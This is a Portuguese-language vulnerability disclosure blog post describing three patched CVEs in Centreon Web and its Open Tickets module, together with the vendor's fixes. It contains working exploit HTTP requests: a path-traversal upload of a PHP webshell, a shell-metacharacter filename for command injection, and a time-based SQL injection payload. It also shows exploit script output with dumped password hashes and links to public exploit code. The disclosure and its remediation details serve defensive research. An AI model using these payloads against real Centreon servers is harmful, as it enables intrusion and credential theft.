> ## Content Index
> Fetch the complete content index at: https://yokai.hakaisecurity.io/llms.txt
> Use this file to discover other available public pages before exploring further.

# [PT-BR] Deep Looking into Centreon
- URL: https://yokai.hakaisecurity.io/pt-br-deep-looking-into-centreon/
- Published: 2026-03-06T20:49:33.000Z
- Updated: 2026-03-06T20:49:33.000Z
- Author: gabriel rodrigues
- Tags: Research Blog, #wp, pt-br, #pair-centreon

#### Introdução

Nesta pesquisa, foi identificada três vulnerabilidades críticas no [Centreon Web](https://www.centreon.com/?ref=yokai.hakaisecurity.io) e no módulo Centreon Open Tickets, que permitem desde a extração completa do banco de dados via SQL Injection até a execução remota de comandos no servidor através de uma vulnerabilidade de Path Traversal na funcionalidade de upload de arquivos e uma vulnerabilidade de Command Injection. A exploração exige apenas uma sessão autenticada, sem necessidade de privilégios administrativos, e permite comprometer o ambiente de monitoramento.

As vulnerabilidades foram reportadas ao Centreon, que reconheceu as falhas e publicou correções para todas as versões afetadas, resultando em 3 CVEs: CVE-2026-2749, CVE-2026-2751 e CVE-2026-2750.

#### Impacto

O Centreon é uma plataforma de monitoramento usada por empresas para acompanhar servidores, redes, aplicações e serviços em tempo real.

Cada uma das três falhas é explorável de forma independente indo desde a extração de credenciais do banco de dados via SQL Injection, passando por execução de comandos via CLAPI, até o upload direto de uma webshell usando Path Traversal, tendo a posse de um usuário válido da aplicação.

De acordo com informações divulgadas no próprio site da Centreon, o software é utilizado por mais de 250 mil usuários em todo o mundo, com mais de 80 empresas adotando a plataforma de forma ativa em seus ambientes.

![](https://hakaisecurity.io/wp-content/uploads/2026/03/image.png)

---

#### CVE-2026-2749

A primeira vulnerabilidade identificada foi um Path Traversal no módulo Open Tickets, mais especificamente no endpoint de upload de arquivos. A falha está no parâmetro `uniqId`, que é recebido direto de `$_REQUEST` sem nenhuma sanitização e concatenado no caminho de destino do arquivo.

O código vulnerável no arquivo `uploadFile.php` continha as seguintes linhas:

```php
$uniq_id = $_REQUEST['uniqId'];
$file_dst = $dir . '/opentickets/' . $uniq_id . '__' . $file['name'];
@mkdir($dir . '/opentickets', 0750);
rename($file['tmp_name'], $file_dst);
```

Como `$dir` resolve para `/tmp`, o caminho final do arquivo fica `/tmp/opentickets/{uniqId}__{filename}`. Se enviarmos `uniqId=../../usr/share/centreon/www/rce`, o caminho resultante será:

```text
/tmp/opentickets/../../usr/share/centreon/www/rce__cmd.php

```

Após a normalização, o caminho resultante torna-se `/usr/share/centreon/www/rce__cmd.php` diretamente dentro do document root do Apache. Desta forma, qualquer usuário autenticado consegue escrever uma webshell PHP no webroot.

O primeiro passo para a exploração da vulnerabilidade é realizar o upload de um arquivo PHP contendo uma webshell, utilizando o path traversal no parâmetro GET `uniqId`:

```http
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=../../usr/share/centreon/www/rce HTTP/1.1
Cookie: PHPSESSID=<sessão_válida>
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: application/octet-stream

<?php system($_GET['c']); ?>
------x--
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/lfi1.png)

A resposta confirma que o upload foi bem-sucedido:  

```json
{"code":0,"msg":"ok"}
```

Desta forma, basta acessar o arquivo de webshell diretamente pela web, sem qualquer tipo de autenticação, que será possível executar comandos no servidor:  

```http
GET /centreon/rce__cmd.php?c=id HTTP/1.1
```

![](https://hakaisecurity.io/wp-content/uploads/2026/03/lfi2.png)

```text
uid=33(www-data) gid=33(www-data) groups=33(www-data),991(centreon-gorgone),992(centreon),993(centreon-engine),994(centreon-broker)
```

Foi realizada a criação de um script para realizar a exploração da vulnerabilidade de forma automatizada:

https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2749/pathtraversal\_rce.py

```bash
$ python3 pathtraversal_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"

╔════════════════════════════════════════════╗
║  Centreon Path Traversal to RCE (Upload)   ║
║           CVE-2026-2749                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝

[1] Uploading webshell via path traversal...
    Upload successful
[2] Executing: id
    uid=33(www-data) gid=33(www-data) groups=33(www-data)

[+] RCE CONFIRMED — http://target/centreon/rce__cmd.php?c=COMMAND
```

#### Correção

A correção aplicou três mecanismos de proteção. A primeira medida foi a introdução de uma validação do parâmetro **uniqId** por meio de uma expressão regular, que agora aceita apenas valores hexadecimais com exatamente 13 caracteres:

```php
$uniq_id = $_REQUEST['uniqId'] ?? '';
if (! preg_match('/^[a-f0-9]{13}(\.[0-9]{8})?$/D', $uniq_id)) {
    $resultat = ['code' => 1, 'msg' => 'Invalid uniqId format.'];
    return;
}
```

A segunda medida tomada foi a sanitização do nome do arquivo com a função `basename()`. Além disso, foram realizadas validações adicionais contra caracteres de controle e tamanho excessivo. A terceira medida foi uma verificação com a função `realpath()` antes de realizar a gravação do arquivo dentro do servidor, garantindo assim que o destino final está dentro do diretório `/tmp/opentickets`/. Por último, a função `rename()` foi substituída pela função `move_uploaded_file()`, que valida internamente se a origem é realmente um upload legítimo.

O arquivo `removeFile.php` recebeu o mesmo tratamento, com a adição de uma verificação na sessão para autorizar a chamada da função `unlink()` apenas para arquivos previamente registrados pelo próprio usuário.

---

#### CVE-2026-2750

A segunda vulnerabilidade identificada é uma injeção de comandos no sistema operacional através da ação `generatetraps` do CLAPI. O problema está no método `generatetraps()` do arquivo `centreonManufacturer.class.php`, onde o caminho do arquivo MIB fornecido pelo usuário é passado diretamente para a função `passthru()`, sem qualquer tipo de sanitização. A função `passthru()` no PHP é utilizada para executar um comando do sistema operacional e enviar diretamente a saída bruta do comando para o output padrão.

Código vulnerável:

```php
public function generatetraps($parameters = null): void
{
    $params = explode($this->delim, $parameters);
    $mibFile = $params[1];
    $tmpMibFile = '/tmp/' . basename($mibFile);
    // ...
    passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$tmpMibFile} --out={$tmpMibFile}.conf");
    passthru("{$centreonDir}/bin/centFillTrapDB -f {$tmpMibFile}.conf -m {$vendorId}");
}
```

O código usa a função `basename()`, porém esta função apenas remove componentes de diretório como `../`. Metacaracteres de shell como `$()` não são sanitizados ou excluídos. Deste modo, ao chamar a função passando metacaracteres de shell, há êxito na execução de comados no servidor. Ao chamar: `basename("/tmp/opentickets/t__$(id).mib")` irá retornar `t__$(id).mib` e o `$(id)` será expandido pelo shell quando passado à função `passthru()`.

A exploração acontece em dois passos. Primeiro, é realizado o upload de um arquivo cujo nome contém metacaracteres shell via Open Tickets:

```http
POST /centreon/modules/centreon-open-tickets/views/rules/ajax/call.php?action=upload-file&uniqId=t HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: multipart/form-data; boundary=----x

------x
Content-Disposition: form-data; name="file"; filename="$(id).mib"
Content-Type: application/octet-stream

-- dummy MIB
------x--
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/command1.png)

Isso cria o arquivo `/tmp/opentickets/t__$(id).mib`. Depois, enviamos uma requisição com a action `generatetraps` via CLAPI apontando para esse arquivo:

```http
POST /centreon/api/internal.php?object=centreon_clapi&action=action HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/json

{"action":"generatetraps","object":"VENDOR","values":"Cisco;/tmp/opentickets/t__$(id).mib"}
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/command2.png)

Quando a função `passthru()` executa o comando, o shell expande `$(id)` e o resultado aparece refletido na mensagem de erro do `snmpttconvertmib`, realizando uma injeção de comandos no servidor.

Para realizar a automatização da vulnerabilidade, foi realizada a criação de um script em python que irá realizar o upload de um arquivo contendo metacaracteres shell e então a chamada deste arquivo pela action `generatetraps`, resultando na injeção de comandos:

[https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2750/cmdi\_rce.py](https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2750/cmdi%5Frce.py?ref=yokai.hakaisecurity.io)

```bash
$ python3 cmdi_rce.py --url http://target/centreon --cookie PHPSESSID --cmd "id"

╔════════════════════════════════════════════╗
║   Centreon CMDi via CLAPI generatetraps    ║
║           CVE-2026-2750                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝

[1] Testing with $(sleep 1)...
    3.1s — RCE CONFIRMED

[2] Executing: id
    uid=33(www-data)
```

#### Correção

Para realizar a correção, o vendor adicionou a função `escapeshellarg()` em todos os argumentos passados para `passthru()`, sanitizando o input inserido pelo usuário e mitigando a injeção de comandos:

```php
$escapedMibFile = escapeshellarg($tmpMibFile);
$escapedMibConfFile = escapeshellarg($tmpMibFile . '.conf');
$escapedVendorId = escapeshellarg((string) $vendorId);

passthru("export MIBS=ALL && {$centreonDir}/bin/snmpttconvertmib --in={$escapedMibFile} --out={$escapedMibConfFile}");
passthru("{$centreonDir}/bin/centFillTrapDB -f {$escapedMibConfFile} -m {$escapedVendorId}");
```

Segundo o manual do php, https://www.php.net/manual/en/function.escapeshellarg.php, a função `escapeshellarg()` *"*adds single quotes around a string and quotes/escapes any existing single quotes allowing you to pass a string directly to a shell function and having it be treated as a single safe argument*"*. Em outras palavras, ela encapsula a string entre aspas simples e realiza o escape de aspas simples internas, garantindo que o valor seja interpretado pelo shell como um único argumento literal, em vez de permitir que caracteres especiais sejam avaliados pelo interpretador de comandos. Dessa forma, a aplicação dessa função na construção do comando passou a impedir a injeção de argumentos maliciosos, mitigando a vulnerabilidade de command injection identificada.

---

#### CVE-2026-2751

A terceira vulnerabilidade identificada foi um blind SQL Injection baseado em tempo, na página de Service Dependencies da aplicação. A injeção acontece nas **chaves** do array `select[]` enviado via requisição POST.

A função `getSelectOption()` retorna diretamente o array `$_POST['select']`. O código que consome esse valor aplica a função `filter_var_array()`, que realiza a validação apenas dos valores presentes no array, ignorando completamente suas chaves. Essas chaves são então utilizadas como `$key` em um ***loop foreach*** e concatenadas diretamente em consultas SQL, permitindo que dados controlados pelo usuário sejam inseridos na query sem qualquer validação.

O código vulnerável no arquivo `DB-Func.php`:

```php
function deleteServiceDependencyInDB($dependencies = [])
{
    global $pearDB, $oreon;
    foreach ($dependencies as $key => $value) {
        $pearDB->query("SELECT dep_name FROM `dependency` WHERE `dep_id` = '" . $key . "' LIMIT 1");
        $pearDB->query("DELETE FROM dependency WHERE dep_id = '" . $key . "'");
    }
}
```

A variável `$key` vem direto das chaves de `$_POST['select']`, que são controladas pelo usuário na chave do array `select[]`:

```http
POST /centreon/main.get.php?p=60409 HTTP/1.1
Cookie: PHPSESSID=<session>
Content-Type: application/x-www-form-urlencoded

o=d&centreon_token=<TOKEN>&select[0' UNION SELECT CASE WHEN (1=1) THEN SLEEP(2) ELSE 0 END-- ]=1
```

![](https://yokai.hakaisecurity.io/content/images/hakaisecurity-io/wp-content/uploads/2026/03/sql.png)

Se a condição `1=1` for verdadeira, a resposta demora 2 segundos por causa do `SLEEP(2)`. Caso a condição seja falsa, a aplicação retorna imediatamente. Esse comportamento permite a utilização de uma técnica de time-based blind SQL injection, na qual o atacante infere o resultado de expressões lógicas observando apenas o tempo de resposta do servidor. A partir desse mecanismo, é possível extrair informações do banco de dados de forma incremental, testando cada caractere individualmente, até reconstruir completamente valores como nomes de tabelas, colunas ou conteúdos armazenados no banco de dados.

Com o script automatizado abaixo, é possível extrair todos os usernames e hashes bcrypt de senha do Centreon:

[https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2751/sqli\_dump.py](https://github.com/hakaioffsec/Centreon-Exploits-2026/blob/main/CVE-2026-2751/sqli%5Fdump.py?ref=yokai.hakaisecurity.io)

```bash
$ python3 sqli_dump.py --url http://target/centreon --cookie PHPSESSID

╔════════════════════════════════════════════╗
║    Centreon Blind SQLi via Array Keys      ║
║           CVE-2026-2751                    ║
║         Centreon <= 25.10.6                ║
║       https://hakaisecurity.io             ║
╚════════════════════════════════════════════╝

[*] Testing injection...
[+] SQL Injection confirmed

[*] Dumping all users and password hashes...

    user: admin
    hash: $2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG
  => admin:$2y$10$6rn1CoyTBTNQmRCocx7PjO0Fse13Ay2AyRqX5Ypy38u9RJ2Tv94xG

    user: centreon-gorgone
    hash: $2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
  => centreon-gorgone:$2y$10$kkzXe5m1mCe1WhU7MHh//e4k2vj2JlSH3bIvUSGKa9A5ToVEI2gTe
```

#### Correção

A correção aplicada substituiu a concatenação direta de SQL por **prepared statements** com tipo explícito:

```php
function deleteServiceDependencyInDB($dependencies = [])
{
    global $pearDB, $oreon;
    $selectStatement = $pearDB->prepare(
        'SELECT dep_name FROM `dependency` WHERE `dep_id` = :dep_id LIMIT 1'
    );
    $deleteStatement = $pearDB->prepare(
        'DELETE FROM dependency WHERE dep_id = :dep_id'
    );
    foreach (array_keys($dependencies) as $key) {
        $selectStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
        $selectStatement->execute();
        $row = $selectStatement->fetch();
        if ($row === false) { continue; }

        $deleteStatement->bindValue(':dep_id', (int) $key, PDO::PARAM_INT);
        $deleteStatement->execute();
        $oreon->CentreonLogAction->insertLog('service dependency', $key, $row['dep_name'], 'd');
    }
}
```

Com **prepared statements**, o banco trata o valor como dado, não como parte do SQL, mitigando a vulnerabilidade de SQL Injection.

#### Versões corrigidas

- Centreon Open Tickets 25.10.3, 24.10.8, 24.04.7
- Centreon Web 25.10.8, 24.10.20, 24.04.24

#### Conclusão

A exploração combinada das três vulnerabilidades identificadas possibilitou, com sucesso, a execução remota de código no servidor e a extração completa do banco de dados da aplicação, incluindo usuários e seus respectivos hashes de senha. De acordo com informações disponibilizadas no próprio site oficial do Centreon, a plataforma possui mais de 250 mil usuários ativos, o que evidencia o elevado potencial de impacto caso essas falhas sejam exploradas em ambientes reais. Como parte desta pesquisa, também foram desenvolvidos três scripts em Python capazes de automatizar o processo de exploração das vulnerabilidades. Os exploits foram disponibilizados publicamente no repositório da Hakai no GitHub:

[https://github.com/hakaioffsec/Centreon-Exploits-2026](https://github.com/hakaioffsec/Centreon-Exploits-2026?ref=yokai.hakaisecurity.io)

Como medida de mitigação, recomenda-se a atualização imediata do Centreon e de seus módulos para versões que contenham as correções publicadas pelo fornecedor.

#### Referências

- https://www.cve.org/cverecord?id=CVE-2026-2749
- https://www.cve.org/cverecord?id=CVE-2026-2750
- https://www.cve.org/cverecord?id=CVE-2026-2751
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2749-centreon-open-tickets-critical-severity-5493
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2750-centreon-web-critical-severity-5503
- https://thewatch.centreon.com/latest-security-bulletins-64/cve-2026-2751-centreon-web-high-severity-5504
- https://github.com/hakaioffsec/Centreon-Exploits-2026